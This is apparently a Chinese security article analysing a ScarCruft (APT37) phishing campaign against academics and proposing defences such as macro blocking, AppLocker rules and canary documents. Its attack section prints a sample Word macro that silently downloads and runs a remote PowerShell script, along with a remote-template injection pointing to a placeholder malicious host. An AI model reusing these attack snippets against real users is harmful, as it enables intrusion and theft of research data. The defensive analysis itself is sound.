摘要
近年来,国家级APT组织持续将学术界、政策研究机构及区域安全专家作为高价值目标。朝鲜关联威胁行为体ScarCruft(又名APT37)于2025年发起新一轮定向攻击行动,以学术研讨会邀请、未公开研究报告或地缘政治白皮书为诱饵,通过伪装文档、恶意宏及模板注入技术实现初始入侵。该行动显著区别于传统广撒网式钓鱼,其高度本地化语言、主题精准匹配、合法云服务分发及低重用IOC策略,极大提升了规避检测能力。一旦建立持久化访问,攻击者可窃取敏感研究成果、通讯录及身份凭证,并利用被控邮箱二次传播虚假信息,对学术诚信与政策制定构成实质性威胁。本文系统剖析ScarCruft此次行动的技术链路、社会工程逻辑与战术演进特征,结合高校与研究机构的IT环境特性,提出以“最小信任、最大验证”为核心的纵深防御框架。通过部署应用控制策略、强化宏管理、实施数据标签与DLP机制,并辅以诱捕文档信标技术,构建覆盖预防、检测与响应的闭环体系。文中提供Office子进程限制脚本、宏签名验证策略及Canary文档部署示例,为科研单位提供可落地的技术对策。
关键词:ScarCruft;APT37;鱼叉式钓鱼;学术安全;恶意宏;模板注入;应用控制;DLP;诱捕文档

1 引言
学术界长期被视为相对开放、协作优先的信息生态,其安全防护往往滞后于金融、国防等高监管行业。然而,高校与政策研究机构所持有的未发表研究成果、内部政策建议、专家联络网络及政府合作项目资料,正日益成为国家级APT组织的核心情报目标。2025年披露的ScarCruft新钓鱼行动,正是这一趋势的典型体现。
ScarCruft(APT37)作为朝鲜网络部队下属的高级持续性威胁组织,历史上以针对韩国政府、军工及媒体为目标著称。此次行动则显著扩展至东亚、东欧及南亚多国的大学教授、智库研究员与区域安全学者。攻击邮件主题高度定制化,如“邀请您参与《朝鲜半岛无核化路径》闭门研讨会”或“请审阅附件中关于印太安全架构的未公开草稿”,极具迷惑性。附件形式包括ZIP压缩包内嵌伪装PDF/DOCX,或指向Google Drive、OneDrive等合法云存储的链接,诱导用户下载含恶意宏或外部模板引用的文档。
此类攻击的成功,不仅导致敏感研究数据提前泄露,更可能被用于操纵学术舆论或伪造专家观点。例如,若某知名学者邮箱被接管,攻击者可冒名向政策制定者发送虚假分析报告,影响外交决策。因此,理解ScarCruft的技术手法并构建针对性防御体系,已不仅是信息安全问题,更关乎学术自主与政策公正。
本文基于公开技术分析与模拟攻防实验,系统解构该攻击链各阶段特征,评估现有高校IT架构的脆弱点,并提出融合终端防护、数据治理与人员意识的综合对策。全文结构如下:第二部分详述攻击技术细节;第三部分分析战术演进与影响维度;第四部分构建分层防御模型;第五部分提供关键技术实现代码;第六部分总结实践路径与未来挑战。

2 攻击技术链路剖析
2.1 初始投递:社会工程与分发渠道
ScarCruft此次行动采用双重投递策略:
邮件附件模式:发送ZIP文件,内含看似无害的“会议议程.pdf”或“研究摘要.docx”。实际PDF为诱饵,DOCX文件则包含恶意宏或<w:attachedTemplate>字段指向远程RTF模板;
云链接模式:邮件正文仅含“请点击以下链接下载会议材料”,链接指向Google Drive共享文件夹,其中包含启用宏的Word文档,文件名如“Draft_Security_Policy_v2_FINAL.docm”。
两种方式均利用合法云服务(Google、Microsoft)作为载荷分发节点,规避邮件网关对直接附件的沙箱检测。同时,攻击者使用目标国家本地语言撰写邮件正文,甚至模仿特定学术机构的行文风格,显著提升可信度。

2.2 载荷执行:宏与模板注入
在宏启用场景下,典型VBA代码如下:
Sub AutoOpen()
Dim cmd As String
cmd = "powershell -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('hxxps://legit-looking[.]blog/static/update.ps1')"
Shell cmd, vbHide
End Sub
该宏通过PowerShell下载第二阶段载荷,常托管于被黑博客或GitHub Gist,进一步混淆来源。
更隐蔽的是外部模板注入(External Template Injection)。攻击者构造的DOCX文档在word/settings.xml中嵌入:
<w:attachedTemplate r:id="rId1"/>
并在word/_rels/settings.xml.rels中定义:
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"
Target="hxxps://malicious-server[.]com/payload.dotm" TargetMode="External"/>
当用户打开文档,Word自动从远程服务器加载DOTM模板,其中包含AutoExec宏,实现无宏启用提示的静默执行——因模板加载不触发宏安全警告。
2.3 后渗透阶段:侦察与数据窃取
初始载荷执行后,ScarCruft部署轻量级RokRAT变种,执行以下操作:
主机指纹收集:获取用户名、域名、IP、已安装软件列表;
文档枚举:遍历%USERPROFILE%\Documents、Desktop及OneDrive同步目录,筛选.docx、.pdf、.xlsx文件;
通讯录提取:通过Outlook COM对象导出联系人;
屏幕截图与键盘记录:监控特定窗口(如浏览器、邮件客户端);
C2通信:通过HTTPS POST将数据加密回传至伪装成新闻站点的C2服务器。
整个过程避免写入磁盘,多采用内存反射加载(Reflective DLL Injection),规避EDR文件扫描。

3 战术演进特征与影响维度
3.1 低IOC重用与合法基础设施滥用
与早期ScarCruft行动频繁复用固定C2 IP不同,本次行动采用:
动态域名生成(DGA):每日生成新子域名;
合法CDN代理:通过Cloudflare Workers或GitHub Pages反向代理C2流量;
一次性载荷URL:每个目标分配唯一下载链接,防止批量封禁。
这使得基于静态IOC的威胁情报共享效果大打折扣。
3.2 学术生态的特殊脆弱性
高校环境存在三大结构性弱点:
协作文化优先于安全:研究人员习惯通过邮件交换草稿,缺乏加密或签名验证;
设备管理松散:个人笔记本常绕过MDM策略,宏默认启用;
高权限账户泛滥:教授常拥有本地管理员权限,便于载荷持久化。
这些因素共同构成ScarCruft的理想攻击面。
3.3 二次传播与信息操纵风险
一旦控制专家邮箱,攻击者可:
向同行发送“最新研究发现”附带恶意链接;
冒名向媒体投稿,散布地缘政治虚假分析;
篡改合作项目提案,植入误导性结论。
此类操作不仅造成数据泄露,更可能扭曲公共政策讨论,其危害远超传统数据窃取。
4 面向学术机构的纵深防御体系
4.1 预防层:阻断初始执行
强制宏禁用策略:通过组策略或MDM设置HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings=4,完全禁用宏;
仅允许可信签名宏:部署证书信任列表,仅允许由机构CA签发的宏运行;
限制Office子进程:阻止Winword.exe启动powershell.exe、cmd.exe等高风险子进程。
4.2 检测层:行为异常与诱捕
部署诱捕文档(Canary Documents):在共享目录放置含唯一信标的DOCX文件,一旦被外部IP访问或执行,立即告警;
监控异常文档访问:检测短时间内大量.docx文件读取行为,尤其来自非工作时间或非常规路径。
4.3 数据层:标签与DLP
实施敏感数据标签:对“未发表”“政策草案”等文档自动打标;
DLP策略阻断外传:禁止含特定标签的文件上传至个人云盘或通过邮件外发。
4.4 流程层:安全协作规范
推广签名邮件:要求涉及敏感内容的通信必须使用S/MIME或PGP签名;
专用协作平台:使用经安全加固的SharePoint或Nextcloud替代邮件附件交换;
开展专项演练:模拟“会议征稿”钓鱼场景,测试人员识别与上报能力。
5 关键技术实现示例
5.1 Office子进程限制(Windows AppLocker策略)
<!-- Block Office spawning PowerShell -->
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="Enabled">
<FilePublisherRule Id="Block-Office-PowerShell" Name="Block Office from launching PowerShell" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePublisherCondition PublisherName="O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US" ProductName="*" BinaryName="*">
<BinaryVersionRange LowSection="*" HighSection="*" />
</FilePublisherCondition>
<FilePathCondition Path="%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" />
</Conditions>
</FilePublisherRule>
</RuleCollection>
</AppLockerPolicy>
该策略可阻止Word等Office应用直接调用PowerShell,切断常见载荷执行路径。
5.2 宏签名验证脚本(PowerShell)
function Test-MacroSigned {
param($DocPath)
$word = New-Object -ComObject Word.Application
$word.Visible = $false
try {
$doc = $word.Documents.Open($DocPath, $false, $true)
$vba = $doc.VBProject
if ($vba.VBComponents.Count -gt 0) {
$signature = $vba.Signature
if ($signature -and $signature.Issuer -like "*YourInstitution CA*") {
return $true
} else {
Write-Host "Unsigned or untrusted macro in $DocPath"
return $false
}
}
} catch {
Write-Host "Error checking $DocPath: $_"
} finally {
$doc.Close()
$word.Quit()
}
return $null # No macros
}
# Scan directory
Get-ChildItem -Path "C:\SharedResearch\" -Recurse -Include *.docm,*.dotm | ForEach-Object {
if (Test-MacroSigned $_.FullName -eq $false) {
Move-Item $_.FullName "C:\Quarantine\"
}
}
该脚本可定期扫描共享目录,隔离未签名宏文档。
5.3 Canary文档部署与信标检测
创建含唯一UUID的DOCX文件:
from docx import Document
import uuid
doc = Document()
doc.add_paragraph(f"Canary ID: {uuid.uuid4()}")
doc.save("canary_research_draft.docx")
在Web日志中监控该文件的访问:
# In Apache/Nginx logs
grep "canary_research_draft.docx" /var/log/nginx/access.log | awk '{print $1, $4}' >> /alerts/canary_hits.log
一旦检测到外部IP访问,立即触发SOC告警并冻结相关账户。
6 结论
ScarCruft针对学术界的钓鱼行动,揭示了国家级APT组织对“软目标”的战略重视。其利用学术协作文化中的信任惯性、技术防护的滞后性以及研究成果的高情报价值,构建了一条高效且低噪的攻击链。防御此类威胁,不能依赖传统的边界防护或通用EDR规则,而需结合科研工作流特点,实施精细化的身份、应用与数据控制。
本文提出的防御体系强调三点核心原则:一是执行环境最小化,通过宏禁用与子进程限制消除常见载荷入口;二是数据流动可视化,借助标签与DLP实现敏感草稿的全生命周期管控;三是威胁感知主动化,利用诱捕文档与行为基线实现早期发现。技术实现上,AppLocker策略、宏签名验证与Canary信标构成了可快速部署的检测响应闭环。
未来,随着AI辅助钓鱼内容生成与云原生协作工具普及,学术安全将面临更复杂挑战。研究机构需将“安全默认”(Secure by Default)纳入数字基础设施设计原则,在保持开放协作的同时,筑牢身份与数据的新防线。唯有如此,方能保障学术自由不被恶意利用,研究成果真正服务于公共利益。
编辑:芦笛(公共互联网反网络钓鱼工作组)
1229

被折叠的 条评论
为什么被折叠?



